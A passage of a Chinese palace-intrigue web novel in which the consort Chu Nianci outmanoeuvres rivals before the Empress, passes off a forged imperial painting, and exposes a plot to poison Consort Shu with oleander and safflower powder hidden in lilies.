她穿着一身月白广袖夹袄,下配百迭裙,发间只簪一支玉步摇,虽仍清雅大方,眉眼间却透出几分憔悴。
楚念辞瞥见她眼下那抹淡淡的青影,一时也不知如何宽慰。
入宫这些时日,沈澜冰始终未得承宠。
以端木清羽那般敏锐的性子,唯有细水长流地慢慢走近他,绝不能耍手段强求……否则只会适得其反,被他赏赐一壶桃花酿。
两人默默挽手同行,一路无话。
到了坤宁宫,嘉妃与悦嫔已先到了。
皇后尚未起身,宫女便引她们至侧殿等候。
楚念辞一进来,便感受到两道复杂的目光。
看着她俩交视一眼,她知道,皇帝赐浴的消息早已传遍六宫……这般殊荣,确实前所未有。
嘉妃打扮得依旧英气,看她的眼神却五味杂陈。
悦嫔则穿着一袭天青色广袖长衫,面容清冷,那双眼里写满不屑,又掩不住丝丝嫉恨。
那目光冷得像霜刀,贴着脸刮过。
悦嫔那冷冰冰的面孔,再加上那样冰冷目光……那眼神能像三九天冰湖边吹来的冷风,冻得人寒毛直竖。
楚念辞抚抚胳膊上的鸡皮疙瘩。
迎着二人的注视,反而笑得愈发单纯无辜,一副浑然不觉的模样。
“装模作样。”悦嫔咬唇冷笑。
看着楚念辞一身天青色宫装,穿着虽然朴素,但娇棠样的面孔,连殿中光影都黯淡了,恨不得用冰锥般的眼神,将她扎得体无完肤。
她瞥了眼沈澜冰与楚念辞交握的手,语带讥讽:“果然姐妹情深,只是慧贵人自己受宠时,可曾想过你这好姐妹还在独守空闺?既得盛恩,怎不分一杯羹给斓贵人?”
楚念辞抬眼,静静地看向她。
悦嫔入宫初不争不抢,自觉争宠是极其丢人的事。
可这段时间因嫉生怨,时常针对自己,无非是着急了,满宫里位份低于她的自己已承宠,唯她这位高者却迟迟无人问津,确实难堪。
楚念辞担心沈澜冰难受,便没开口反驳。
倒是沈澜冰看了楚念辞一眼,道:“辞姐姐,你受宠,我是真心为你高兴。”
说完,她转身冷笑一声,以同样冷冰冰语气说道:“天家恩宠,从来是陛下给或不给,自己上赶着去争已是丢人现眼,若还要抢旁人那份,便是下作了。”
她顿了顿,声音清凌凌的:“这样的‘恩宠’,即便她真要给我,我也不屑要。”
楚念辞心中触动,紧紧地握住了她的手。
自己的冰儿,果然还是如前世似的矜贵骄傲的如出淤泥而不染的芙蕖一般。
见自己挑拨离间不成。
“你这是不需要,还是根本争不来?”悦嫔语如寒冰,讥讽更甚,“不如你学学你的好姐妹,在近身伺候时,都用了什么见不得人的手段。”
“悦嫔姐姐这话说得,好似过来人似的,”楚念辞不卑不亢地回道,“姐姐似乎对‘手段’懂得颇多,到时要请教,您的手段到底是什么,不若说出来参详一下。”
人不犯我,我不犯人,可若有人非要生事,她也绝不是任人揉捏。
悦嫔玉白的脸微微红了。
她还没有经过人事,在这种事上头丝毫也占不着便宜。
只气得咬唇,冷哼道:“狐媚下作,难怪皇上这般宠你,连赐浴这般殊荣都给了,满宫谁能及得上?”
“姐姐娇媚臣妾才望尘莫及,只是你有这些口头功夫,多放在陛下身上,说不定还能早日承宠。”楚念辞含笑反讥道。
“你……你……”悦嫔脸色一下难看起来,但是她又不知道如何反击,只好指着楚念辞你呀你个不停。
“罢了罢了,都是姐妹,少说几句。”嘉妃见双方针锋相对,忙出来打圆场。
正巧夏冬此时进来,也不看众人,板着脸一躬道:“各位小主请随奴婢来,皇后娘娘今日改在明义殿召见。”
楚念辞闻言微怔。
明义殿?
那是宫中纠察规矩、整肃风气的地方……皇后今日为何选在哪儿?
众人立即起身前往。
明义殿内空旷肃穆,青石地面光可鉴人,两侧蟠龙柱巍然耸立,正中高悬“明义镜心”匾额。殿中只设皇后主座,旁无余席,唯有戒尺、手板等物陈列一侧。
日影从高窗斜落,投下冷硬的刻度,肃穆严谨,所有人的脚步都不自觉地放轻。
楚念辞不由得绷紧了神经。
不多时,蔺皇后一众宫人簇拥下入殿。
过了一会儿,淑妃才姗姗来迟。
她一路走得急急忙忙,满心只想着要给楚念辞一个下马威。
刚进坤宁宫门
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,却冷不防撞上个捧百合花的小太监,花粉扑了一身。
“作死呢!没长眼睛?”绿翘一边慌忙替她拍打,一边厉声呵斥。
小太监吓得缩着脖子,举着花枝挡脸,连连点头哈腰地赔不是。
淑妃憋着火,本想再骂,又怕误了正事,只烦躁地一摆手:“自己滚去掖庭领十鞭子!”
说罢,再顾不上纠缠,转身就朝殿内走去。
自从前段时间侍寝后,淑妃已很少露面,今日倒是准时抵达。
众人连忙躬身请安。
“参见皇后娘娘,千岁千福!”
“参见淑妃娘娘,金安吉祥!”
众妃忙躬身行礼。
蔺皇后脸上带着惯常的端庄笑意:“妹妹们不必多礼,起身罢。”
“谢皇后娘娘。”
楚念辞细看皇后今日装扮……她上了大妆,脂粉厚重,神情虽温婉却透着一股刻意端肃的僵硬。
这郑重其事的架势……莫非是要当众惩处谁?
她心中警铃微动,想来想去,皇后怕是冲着自己来的。
这是要借整治她来立威,好向六宫证明,中宫权柄依旧牢握手中。
正思量间,蔺皇后已温声开口:“慧贵人昨晚刚得赐浴辛劳,今晨本宫不是让人传话,许你今日不必请安吗?”
楚念辞自然不敢当真,盈盈下拜:“娘娘体恤,臣妾不敢僭越,晨昏定省是分内之事,臣妾谨记娘娘教诲。”
淑妃她今日穿了一身利落猎装,腰间竟别着那根桃花鞭,仿佛随时准备与人较量。
那双美艳的桃花眼冷冷地瞥向楚念辞,眼中妒火若凝成实质,只怕要将楚念辞烧成灰烬。
这勾引陛下的贱蹄子,上不得台面的玩物,上次她就说陛下倾心自己,故而才放过她,自己再也不会上当,随便她说什么,自己都不会理她了,今日定要好好教训她,看她以后还敢如此狐媚惑主。
见两位上位者皆面色不善,悦嫔自觉时机已到,憋了半日的火气终于找到出口。
她倏然跪下,高声道:“皇后娘娘、淑妃娘娘,臣妾斗胆进言,请二位娘娘严治慧贵人狐媚惑主之罪,以正宫闱视听!”
此言一出。
淑妃的脸色瞬间沉了下去,妩媚的眼中全是锋利的刀光剑影。
而蔺皇后眼底闪过了一抹计谋即将得逞的狠毒……
第70章 收《寒梅图》淑妃崩溃
蔺皇后面容尚温和,声音却冷刺刺,带着不可置否的威严:“跪下。”
楚念辞肩膀一颤,缓缓跪下。
她脊背挺得笔直,委屈地咬紧双唇,微微颤抖着肩膀,似乎是受了天大的委屈。
嘉妃看着她,眼中带着忧色。
沈澜冰在一旁焦急想开口,被嘉妃轻轻拉住袖子,示意她暂且别轻举妄动。
皇帝赐浴楚念辞的消息已传遍后宫,此时若硬拦,恐怕会激起淑妃更大的怒火,反给了皇后发作的由头。
若是此事闹大,说不定会引起前朝震动,对楚念辞更加不利,倒不如先让她们说几句,即便楚念辞受些责难,也总比闹到前朝去要好。
楚念辞抬眸,平静无波:“敢问悦嫔娘娘,臣妾如何狐媚主上?”
悦嫔眼底掠过冷光,声音不高,却有一股刺骨的寒意:“你刚晋了贵人,不思感恩,竟敢蛊惑陛下赐浴汤泉宫,一连两日伴驾不出,这眼里还有宫规吗?依我看就该严惩,以儆效尤!否则人人有样学样,后宫岂不乱套?”
她说着看向嘉妃,希望对方帮腔。嘉妃却只低头不语。
淑妃脸色发青,声音带着压抑的愤怒:“慧贵人这是大不敬!该降她的位份,不,依我看,该打入冷宫才对!”
淑妃听着悦嫔对楚念辞的指责,眼中闪过一丝狠毒……这**敢夺取那份属于自己的荣光,自然要抓住一切机会,把她彻底踩下去。
“慧贵人,你还有何话说?”蔺皇后心中暗喜。
楚念辞平静回道:“皇后娘娘、淑妃娘娘明鉴,臣妾确是奉陛下旨意前往汤泉宫,侍寝本就是嫔妃分内之事,若连这都算过错,岂不与娘娘平日教导的‘为皇家开枝散叶’相悖?娘娘可查记档,臣妾只是依例侍奉,绝无逾越。”
她略顿,又道:“相反,臣妾以为,能让陛下于繁重政务之余稍得疏解,才是真正为圣体着想。”
蔺皇后轻嗤一声,心想这张嘴倒是厉害。
但她并不急于开口,只等着淑妃与悦嫔先发作。
淑妃倒是想发作,绿翘适时地上了一盏茶。
一直沉默的嘉妃忽然出声:“皇后娘娘,慧贵人是应召前往,此事本非她能左右。”
楚念辞心头微松,嘉妃总算是个知恩图报的,还替自己说话。
悦嫔却不依不饶:“即便是陛下召幸,你也该劝诫才是,汤泉宫是什么地方?那是前朝万贵妃专宠洗浴之处,你明知故犯,诱使陛下沉湎享乐,伤害龙体,简直罪不容赦,这般公然违逆宫规,其心可诛!”
楚念辞见悦嫔如此咄咄逼人。
面上立即挂上一副惶恐又委屈的样子:“臣妾没有违背宫规?汤泉宫在前朝虽有万贵妃使用,可先后与贤妃等十二位嫔妃亦曾在此沐浴,若只因万贵妃一人用过便成禁忌,那先皇后也曾在此沐浴,岂非污蔑先皇后……”
见她竟抬出先皇后,蔺皇后顿时沉默。
淑妃也瞪了悦嫔一眼,心道,这也是个说话不过脑子的,一竿子打翻一船人。
沈澜冰忙道:“正是这话,汤泉宫本是历代宫嫔沐浴圣恩之处,岂容亵渎。”
悦嫔这才察觉失言,心虚道:“是嫔妾失言……可她怎能与先皇后相比?她与陛下在汤泉宫待了两天两夜,如此不知节制,岂非损耗龙体?”
楚念辞用力忍住笑意,终于被她逮住了这个女人最大的一个漏洞。
这也是皇后最害怕提及的事情。
于是面上却愈发惶恐:“可是……臣妾其实只侍寝了一次,当晚便被送回,各位娘娘若不信,可查验记档。”
殿内霎时静得落针可闻。
宫中明明传言帝妃共处两日,怎会只有一次?
许多人脸上露出难以置信的神色。
悦嫔更是脸色惨白,双腿发软……她这才意识到,若是记档真是如此,方才的指控不仅是诬陷楚念辞,更是有污蔑陛下之嫌……
“怎、怎么可能……”她声音发颤,“还请娘娘……查记档……”
淑妃虽不明就里,却也顺势道:“娘娘,不如取记档一观。”
皇后的手倏地攥紧裙摆,脸色隐隐发青。
她自然清楚记档上只记了一次,此刻查档岂不是自打脸面,将刀把送到了楚念辞手中。
众妃见皇后脸色难看。
还有什么不明白?
沈澜冰适时跪下,恳切道:“若真只一次,便不算违背宫规,皇后娘娘母仪天下,请明察。”
嘉妃亦缓缓跪下,平静地道:“诬陷嫔妃事小,诋毁圣上清誉……又该当何罪呢?”
蔺皇后见她搬起石头砸自己的脚,气得说不出话,只能冷声道:“本宫已查过记档,慧贵人侍寝合规。”
“这……怎么会这样?”悦嫔彻底慌了,“臣妾不知实情,臣妾并非有意……”
“皇后娘娘,若人人犯错都学她推说‘不知’,后宫岂不乱了套?”楚念辞委屈地摸了摸眼睛,开口道。
她一句话。
便将皇后推上风口浪尖,若不严惩悦嫔,便是公然徇私,日后何以服众?
悦嫔恶狠狠瞪向楚念辞,却哑口无言,最终只能强辩:“你,是你故意设套害我,为何不早将记档之事言明,分明是故意诱导混淆视听……”
“够了!”蔺皇后冷声打断,眼中满是失望。
今日好不容易布地局,竟被这自命清高的蠢货搅成这般田地。
淑妃也暗暗咬牙,早知她是这样**,就不该派人把她招揽到自己麾下。
“悦嫔言行失状,诋毁圣听,即日起降为贵人,罚俸半年!”
悦嫔,不,悦贵人整张脸霎时惨白……她好不容易凭借家世。
才刚晋为一宫主位,入宫没得盛宠,又转眼竟被贬为贵人,往后这宫中哪会有他立足之地?
“皇后娘娘……”她还想求情。
“退下!”蔺皇后已不耐,转而看向楚念辞,“慧贵人,起来吧。”
悦嫔软在地上,侍候她的大宫女见状,连忙哆哆嗦嗦地上前把她扶到一边,悦嫔神色如秋天的落叶般灰败。
楚念辞见状便准备站起来。
“谁准
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你起身了?”淑妃忽然开口,心中那口恶气仍未散去,她决定亲自下场,“本宫还没说完……”
话音未落,一名小太监低头捧匣疾步入内,跪禀道:“淑妃娘娘,养心殿刚派人送来此物,说是陛下专门下赐送给您的礼品。”
淑妃怔了怔,怒气稍敛。
接过那雕花木匣,展开一看,指尖竟有些发颤。
展开的刹那,一树寒梅凌雪而立,枝干劲瘦如铁,红蕊点点,仿佛能嗅到冷香扑面。
笔法清隽又不失风骨,一看便知陛下的亲笔。
淑妃整个人便被如同失了定身咒一般呆住了。
正恍惚间,她目光忽落在右下角,竟是一句诗。
“愿汝心似吾心,定不负相思意。”
淑妃浑身一震,仿瞬间被雪水浇透定在原地。
陛下这句诗……满满的全是抚慰与相思。
他对自己的感情又是这几个小**能比的。
她怔怔望着画上寒梅,涂着鲜红的丹蒄指尖颤抖着,缓缓的,拂过墨迹,心头翻江倒海……
他……竟还记得……当初梅林初见。
嫉恨、恼火、不甘全部消失了……一丝丝委屈被精准抚慰地触动。
淑妃咬着唇,泪毫无预兆地滚下来,紧接着一滴又一滴,滴在画纸边缘,洇开一小片朦胧。
她无声抽泣,宛如一个孩子,哭了几声,她连忙用袖子拼命地擦了擦眼睛,生怕那泪水,有一丝损毁。
淑妃眼眶全是泪,眸光却亮得能灼伤人的眼睛。
她死死捏着画轴,指节发白,双肩轻颤。
楚念辞垂首跪在一旁,心中暗叹,自己临摹端木清羽的画和字,就算有九成相似。
细细揣摩,也能找到漏洞。
淑妃平日里何等精明,这种小伎俩,应该是瞒不住的,可偏偏一牵扯陛下她便容易犯傻,好糊弄的如京城中那些绣闺中,大门不出二门不迈的怀春少女。
“怎么会这样?”楚念辞适时震惊抬头。
“陛下心里,为什么始终记挂着您呢,”她脸上露出羡艳,痛苦,与灰心的神色,口中还带着一丝恰到好处的妒忌,“臣妾算是看出来了,陛下还是最宠爱您,臣妾再不敢有半分逾越之心。”
“是啊,凭他是谁,又有谁能赶上淑妃娘娘的恩宠……”旁边几位宫人也连忙凑趣。
“起来吧。”淑妃抹抹眼泪,眼中的厉色如冰雪遇火慢慢消融。
她审视的目光扫视楚念辞,又恢复了那居高临下的姿态,目光里甚至带上一丝怜悯……这女人,不过是陛下的玩物,清羽哥哥顶多是一时心血来潮,才会如此。
怎能与自己多年情分相比?
众人皆上前恭维称颂“御笔”,感叹两人伉俪情深。
楚念辞也顺势起身,假作赏画,缓步靠近淑妃身侧。
忽然,她轻轻“咦”了一声,压低声音却足以让周围几人听见:“淑妃娘娘,您身上……怎似有股夹竹桃与红花的味道?”
轻飘飘的一句话音落下,宛如惊雷乍响,殿内霎时一静……
第71章 蔺皇后挨了淑妃鞭子
众妃面面相觑,然后皆垂首屏息,
谁不知淑妃脾性暴烈又敏感多疑,谁这时候随便插话,弄不好去触她的霉头。
“你敢胡言乱语,本宫赏你去冷宫的恩典?”淑妃将画卷小心翼翼地塞进袖子里,一双美目顿时竖起寒光。
她身旁的绿翘却觉蹊跷……慧贵人何必当众撒这种极易拆穿的谎?
很有这种可能,越想越觉得心惊肉跳,当即低声劝道:“娘娘,此事确有可疑……”
“臣妾略通医术,岂敢妄言?”楚念辞丝毫不惧,恭谨垂眸越发认真。
本就因被降位而憋火的悦贵人一见,咬了咬唇,眸中闪过一丝寒光,她觉得自己的机会来了,闻言不咸不淡道:“荒唐,皇后娘娘宫中怎会有那些腌臜东西?说话得讲真凭实据。”
蔺皇后心里咯噔一下,随即也暗暗觉得奇怪。
她确实是找人在淑妃的宫里百合花上下了点药,但那件事情做得极其隐秘,不说中间用人还打了好几个弯,且每天都及时将花苞处理掉,怎么会出现在淑妃衣袖上?
蔺皇后脸色骤沉,强挤出一丝谨慎的笑容,为了避免被淑妃怀疑,没有开口。
淑妃心头掠过一丝不安,连忙抬起衣袖细看……袖口果然沾着不少淡黄花粉。
她蹙起蛾眉,抽出帕子掖了掖唇角,娇厉的眸色变得暗沉,慢慢浮现出一丝疑光。
顿了顿,她看一眼楚念辞。
见她不卑不亢地露出一个无辜的笑脸,心想这个狐媚子虽然可恶,但是没有必要撒这种谎。
想到这儿,眸光骤冷:“去传章太医!”
绿翘立刻示意宫女去请。
一盏茶后,章太医匆匆赶到,仔细查验后面色凝重。
“如何?”淑妃急问。
章太医面色严肃,撸着胡子沉沉一叹:“娘娘袖口所沾,确是提纯过的夹竹桃与红花粉末,此物毒性甚烈,时常吸入便可致人不育,久闻更会神思涣散、躁郁易怒,若不及时诊治……也恐难保生育之能。”
“不育”二字如冰锥刺心。
淑妃脸色瞬间惨白。
眼中满是怨毒之色。
后宫女子若不能生育,这辈子便算到头了。
她出身宰相府,是家中唯一嫡女,自幼千娇万宠,心气极高,入宫便是冲着凤位去的,还盼着与端木清羽生儿育女,瓜瓞绵绵,怎能接受无孕无子结局?
淑妃锐利的目光一一从每个妃嫔的脸上扫过,最终定格在蔺皇后端庄贤惠的脸上。
忽然,她想起方才宫门外撞上的抱花的小太监……
“是了……定是那时沾上的!”淑妃眼中闪过一丝怨毒,“**,竟敢派人来害我?”
她猛地抽出腰间桃花鞭,绿翘拦之不及,一鞭已狠狠抽在皇后身旁大宫女夏冬脸上,只是她忘记了皇后也在夏冬旁边,鞭梢正抽在皇后玉白手腕上。
“啊……”夏冬捂脸惨叫。
蔺皇后则疼痛地缩手,再维持不住往日沉稳,脸色一下就冷下来。
“娘娘,”夏冬顾不得自己的脸,忙屈身上前,查看皇后的手,捂着脸颤声斥道,“淑妃娘娘,你怎可如此大不敬,你责罚奴婢,奴婢没有话说,可皇后娘娘金尊玉贵之体,如何伤的?岂能不分青红皂白就动手!”
淑妃见误伤了皇后,咬了咬嘴唇,上前躬身一拜,假意道:“皇后娘娘,臣妾一时气愤,误伤了您,请您责罚。”
蔺皇后冷冰冰瞥了她一眼,心想,既然他认了误伤,如果因为这件事责罚她,说不定会被别人认为是大惊小怪,或者是借题发挥。
于是淡淡抬手道:“既然是无心之失,本宫就不责罚了。”
“娘娘!”夏冬刻板的脸上露出心疼。
“好了!”蔺皇后道,“还是把这件事查清楚再说。”
淑妃暗暗得意,直起身子道:“本宫在坤宁宫遭人算计,你这掌事姑姑嫌疑最大,今日便弄个清楚,若真是你这贱婢作祟,本宫让你人头落地!”
淑妃攥紧鞭柄,眼中尽是狠绝。
她本就不将皇后放在眼里,认定皇后害她之后,更是无所顾忌,欲除之而后快……
这鞭子,打的从来不是夏冬,而是皇后的脸面。
“都给本宫围住了,来人,搜身,今日不查清楚,任谁也别想离开!”淑妃厉声道。
蔺皇后气得脸色发青,却只死死攥着凤座扶手,眼中寒光迸射,并只是冷冷地笑了笑。
“娘娘,”绿翘理智地低声劝道,“围住坤宁宫以防贼人逃走是对的,但要搜身,最好还是禀告皇上。”
淑妃杏眼眯了眯,扶了扶鬓边的凤钗,冷哼一声,收鞭落座,算是默许了。
一位小太监见状匆匆往勤政殿飞奔而去。
端木清羽正在勤政殿处理朝政,听说了此事。
本不想插手后宫琐事。
可淑妃派的小太监直接在散朝的时候,惊动了老宰相……老相爷听闻爱孙女出事,一把年纪竟在宫门外抹泪跪哭。
皇帝无法,只得搁下政务,乘仪仗往坤宁宫去,眉宇间已带了三分不耐。
连圣驾都被惊动,蔺皇后只好率众到宫门跪迎。
端木清羽踏入殿中,目光淡淡扫过众人,在楚念辞身上略微一顿便收回。
淑妃原本满眼怨毒,一见端木清羽,顿时泪如雨下,扑跪在地哭得几乎喘不上气:“陛下……有人要害臣妾!您一定要为臣妾做主啊!”
她哭得梨花带雨,与刚刚跋扈张扬判若两人。
端木清羽那双凤眸里冷光,如初冬江面上的薄冰,显然已是不悦。
楚念辞垂眸心想:他最厌烦这些后宫纷扰,今日被硬生生搅了政务,怕是耐心已到极限。
端木清羽并未说话,径自走到太监备好的龙椅前坐下。
银灰色大氅的丰厚毛领衬得他金尊玉贵面孔如冷玉,剑眉微蹙,尽管俊美如铸,周身却笼着一层生人勿近的寒气。
楚念辞见他玉白的手指握成拳头,便知他生气了。
淑妃还在呜咽。
他星光潋滟的眼底掠过一丝隐忍的烦躁,但想到宰相,终究耐着性子开口:“既出了事,朕自会
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查清,你先起来,不必哭了,还没到不可收拾的地步。”
声音虽淡,却让淑妃心头一暖。
她抽噎着止住泪,倚在绿翘身上低应了声:“是……”
“坤宁宫为何会出现夹竹桃粉?”端木清羽语气转冷,“来人,给朕彻查到底。”
吩咐完,皇帝侧脸看向章太医,语气不容置疑:“太医院务必竭尽全力,调养好淑妃的身子。”
宰相府眼下已无适龄嫡女可送入宫,旁支终究隔了一层。
为维系家族荣宠,淑妃绝不能出事……而端木清羽也需要她安稳地留在宫里,才能让宰相府继续站在自己这边。
整个太医院几乎都被召来彻查。
帝后亲临,底下人自然不敢怠慢,很快便将坤宁宫翻检了一遍,却未发现可疑之物。
倒是从玉坤宫送来的百合花中,验出了夹竹桃与红花的粉末。
敬喜带人将问题花束全部找出。
几位太医轮流验看后,跪禀:“陛下、娘娘,这些百合花蕊中确掺有提纯过的夹竹桃与红花粉。”
淑妃脸色骤沉,一把抹去眼泪,厉声问道:“经手花木的是谁?”
“是花房直接送来的。”绿翘答得没有丝毫犹豫。
所有花房宫人在总管的带领下匆匆赶来,查验人数之后,发现唯独少了那个往玉坤宫送花的小宫女。
于是,命令搜宫,很快御前侍卫来报:在花房旁夹道里发现一名叫云儿的宫女被人勒毙,正是平日往玉坤宫送花的那位。
淑妃身边大太监秦振兴转身一脚踹在花房总管膝窝,那四十来岁的干瘦汉子扑通跪倒。
“狗奴才!送玉坤宫的花木一向是你经手,里头怎会有毒?说!谁指使你的?”秦振兴厉喝。
总管满头冷汗,不住磕头:“皇上,娘娘明鉴!给奴才一百个胆子也不敢谋害主子啊!”
蔺皇后方才一直悬着心,听闻云儿已死,暗自松了口气,面上却肃然道:“此事蹊跷,不如交掖庭细审。”
总管吓得魂飞魄散,连声喊冤,忽然像是想起什么,道:“奴才记起来了……云儿前些日曾抱怨,说淑妃娘娘身边的姐姐常因送花之事打骂她,莫非、莫非是她怀恨在心……”
绿翘扬手便是一耳光:“胡吣!我们何时打过她?”
皇后淡淡抬手制止,目光转向皇帝。
满宫谁不知淑妃脾气暴烈、责打下人是常事。
她轻声唤道:“陛下,您看……”
淑妃眼中含恨,咬唇泣道:“陛下答应过要为嫔妾做主的……”
端木清羽眸色幽深难辨,静默片刻后对花房总管开口:“朕只问你一遍,此事到底你知道多少,若送掖庭再吐口,朕一定让你活着比**还难受,而且必要汝全家连坐。”
花房总管两个肩膀止不住地颤抖起来,汗水沿着额角流到了唇边,他都不敢擦拭。
哆嗦了半天,方说:“陛下饶命啊,奴才想起来了,前段时间悦嫔娘娘来花房选花,与云儿说过几句话,其余奴才真的什么也不知道了……”
第72章 慧小主,陛下又翻您牌子了……
所有人的目光齐刷刷落在了悦贵人脸上。
嘉妃与沈澜冰交换了一个眼神,沈知念则安静躲在人群里,满脸笑容地看戏。
刚才的事儿,都已经传开了,悦贵人被皇后降位,又当众训了一顿,脸都丢尽了。
淑妃脸色一下子黑透了,她怎么也没想到,害自己的竟是这个自以为是的小**。
她咬牙喝道:“悦贵人,你去花房做什么?跟云儿偷偷摸摸说了什么?是不是指使云儿害我?”
悦贵人一颗心沉到了谷底。
她不知道是谁在陷害淑妃,更没想到这件事情怎么会牵扯到自己头上。
那张玉白清冷的脸,瞬间褪去血色,透出一层灰青,看上去竟有些瘆人。
但见众人都看着自己,她狠狠心,挑了挑眉依旧端着那副清高的架子,走到殿中央,朝端木清羽跪下:“陛下,臣妾确实和云儿说过话,但那只是去花房选花时偶然遇上,闲谈两句罢了。”
淑妃恨毒了下药的人,尤其见悦贵人这时候还自视清高装模作样,火气直冲头顶,猛地抽出随身的长鞭:“红口白牙胡乱狡辩,你害了我?还敢在陛下的面前装模作样,我看是不教训不行了,今天非抽烂你这张脸不可!”
御前岂容动武?
她还没跨出去,就被两名太监一左一右拦了下来。
“淑妃,”端木清羽开口,声音不大,冰冷锋利地压得她花容失色,“真相未明,你就敢在朕面前动手?看来平日朕是太过纵容你了。”
淑妃鞭子掉在地上,满腹委屈涌上心头,眼泪像断了线似的往下掉,又扑到皇帝跟前哭道:“陛下,只有她接近过云儿,不是她指使的,还能是谁?”
都说女人是水做的,楚念辞觉得这句话不适用淑妃,但没想到在心爱的男人面前她亦是如此。
悦贵人脊背挺得笔直,声音冷清:“陛下,臣妾在宫中无依无靠,与淑妃娘娘更是无冤无仇。她背后有宰相府撑腰,臣妾凭什么要去害她?害她又有什么好处?若硬要将这罪名扣在臣妾头上……臣妾百口莫辩。”
端木清羽耀美如玉的脸上,眸色深沉,看不出情绪。
审视她片刻,端木清羽冷冷下令:“悦贵人暂且幽居永福宫,不得随意出入,将她宫中一应宫人送去掖庭,细细审问。”
悦贵人浑身一震,满目哀怨地看向帝王。
“是!”太监上前,躬身请悦贵人离开。
淑妃见皇帝没把悦贵人一并打入掖庭,更急了:“陛下,怎能就这样放过这毒妇?该把她也送进去审才对!”
端木清羽目光扫向她。
带着不容置疑的威压:“花房总管只说看见她与云儿交谈,并无实证证明她授意下毒,淑妃,你一再失态,还有没有妃嫔的体统?”
淑妃被训得不敢再嚷,只能攥紧手帕,红着眼低声道:“可……不是她,还能有谁?”
端木清羽淡淡地说了句:“到底是谁,查下去自然清楚。”
端木清羽有点头疼地站起来,前朝还有那么多事情没有处理。
还要日日繁烦这些令人头疼的妃嫔**,他真不明白,这些苦不堪言的事情。
为何还有那么多男人对娶妻纳妾之事,甘之如饴趋之若鹜?
天天争吵不休,于自己而言,纳一房可心妻子足矣。
端木清羽一拂衣袖,起身就要离开。
众妃跟着起身,殿内衣裙窸窣。
就在这时,蔺皇后忽然“哎哟”一声,轻轻蹙着眉尖捂住了自己的手腕。
众人的目光又被引了回来。
楚念辞顿时明白了。
蔺皇后执掌六宫,刚才平白挨了一鞭,哪会真的就这么算了?
她可没表面上看着那么端庄贤惠好欺负,这是要在小皇帝面前告状了。
端木清羽回过头,正瞧见蔺皇后白皙的手腕上,一道红痕格外显眼。
他眉头微蹙:“皇后的手腕怎么受伤了,怎么回事?”
皇后身边的女官夏冬绷着脸走上前:“回陛下,方才淑妃娘娘教训奴婢时,鞭子不慎扫到了皇后娘娘。”
端木清羽的脸色瞬间沉了下来,一双乌眸亮澄澄的顿时如初冬的寒冰。
淑妃的脸白了白,知道自己刚才确实太冲动,做得过了。
她刚想开口辩解,贴身宫女绿翘忙递了个眼色过来,指了指袖子。
淑妃这人,平时不算笨,只要不牵扯到皇帝,脑子还算清醒。
她立刻会意,姿态转眼就放软了。
只见她一副柔弱无依的模样,声音轻轻柔柔:“陛下,臣妾真的不是故意的……都是被贼人下了夹竹桃粉,故而心智
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失常,脾气暴戾,误伤皇后,臣妾也不想啊,若陛下要罚,臣妾也认了。”
说着,眼泪就又簌簌掉了下来,一边还从袖中取出那幅寒梅图,“陛下待臣妾的心意,臣妾都明白,就算受再重的罚,臣妾心里也是甘愿的。”
她凄凄惨惨地跪倒在端木清羽脚边,将那幅画展开。
“朕的心意?”端木清羽目光落在那幅画上,尤其在看到题字时,神情明显一僵。
随即,他眼神锐利如针,倏地射向了站在人群中的楚念辞。
露在袖袍外的手一下子就紧紧地攥成了拳头。
楚念辞心里“咯噔”一下。
完了,这么快就露馅了。
她还想着过两天找个机会跟他解释呢。
如今只能微微垂下头,像个做错事被抓包的孩子,避开他的视线。
端木清羽沉默片刻,才慢慢松开了不自觉握紧的手,语气听不出情绪:“朕知道了,画你好好收着。”
他顿了顿,“但你今日言行轻狂,回宫闭门静思己过。”
“陛下……”淑妃见他没说出个具体期限,还想再求。
这也是个不会听话音的,楚念辞想,没有说期限,等于没罚,明天就可以出来。
绿翘精明,听懂了,连忙上前扶住她,低声劝道:“娘娘,陛下今日也乏了,您先让陛下歇息吧。”
淑妃抬头,见端木清羽面容确带倦色,只好把话咽了回去,不甘不愿地退下。
蔺皇后还想深究,见端木清羽眉眼怏然,难以忍受地将用??口往下一拂,已有烦躁到了极点,便也只好作罢。
唯一值得庆幸的就是,淑妃也被禁足。
一场风波,至此才算真正平息。
众妃嫔依次行礼告退,各怀心思地散去了。
楚念辞便跟着嫔妃躬着身**,刚走到门口,便一路一与沈澜冰闲话:“这么久还没去你那儿,今日便去毓秀宫坐坐……”
“慧儿……朕有事问你。”端木清羽轻飘飘的声音从身后传了过来。
楚念辞一愣,见便避无可避,只好跟上他御辇。
满心惴惴跟他走到了养心殿……转身就想溜……谁知这一转身差点撞上一个人……敬喜。
他似笑非笑地拦着楚念辞,道:“慧小主,恭喜,陛下又翻了您的牌子……”
第73章 大阿福与小**
敬喜又瞥了楚念辞一眼,似笑非笑地提醒:“慧贵人,能把陛下气得想亲自去打板子的,除了您,怕是也没谁了,您等会儿可仔细伺候着。”
楚念辞的汗水,唰地一下就下来了。
像只被逼到墙角的小猫,柔柔弱弱小声央求:“喜公公,瞧在咱们平日情分上,您可不能见死不救呀……我不求您放我,就求您给一盏茶的功夫,让我回暖晴阁拿样东西,拿完立马回来!”
敬喜抄着手,往殿内瞧了瞧。
陛下还在议事,一时半会儿应该不会传唤。
他心想,宫里就这么大地方,谅她也跑不掉,便点了点头,又指了个小太监跟着。
楚念辞转身就急匆匆往自己住处跑,边跑边对一脸懵的团圆说:“你上次买的两个福山泥娃娃呢?”
“在、在柜子里收着呢。”团圆憨憨的答道。
楚念辞冲进屋里,拉开柜子,果然从里头翻出两个胖嘟嘟的泥娃娃:一个戴着玉冠的男娃娃,还有一个头戴花饰的女娃娃。
“就是你们了,这回可得靠你们救命了。”她低声念叨,把两个娃娃往怀里抱着,又把寒梅图御笔往袖子里一揣,转身又快步往养心殿赶去。
端木清羽回到养心殿,先是安抚了老宰相皇甫昭。
人刚走,礼部尚书又跪在了殿内,口称自己教养不善、养女失德,自请辞去尚书之位。
他坐在殿内,皱着眉头思量。
悦嫔刚被降罪禁足,消息竟传得这样快,立刻便有人来表姿态了。
这背后,定是有人通风报信。
他本以为礼部与雍王是一伙的。
如今这一出,究竟是为了为女儿求情,还是向宰相府示好,表明合作诚意?难道礼部已经暗中倒向了宰相?
还有太尉那边也蹊跷,总在他面前数落雍王的不是,这两人葫芦里到底卖的什么药?雍王如今与镇国公府来往密切,他兼领宗政寺,管着皇亲国戚,本不能插手朝中政务,这么快亮明立场蠢蠢欲动,是想找这些老牌世家联手,来争取自己的朝中职位。
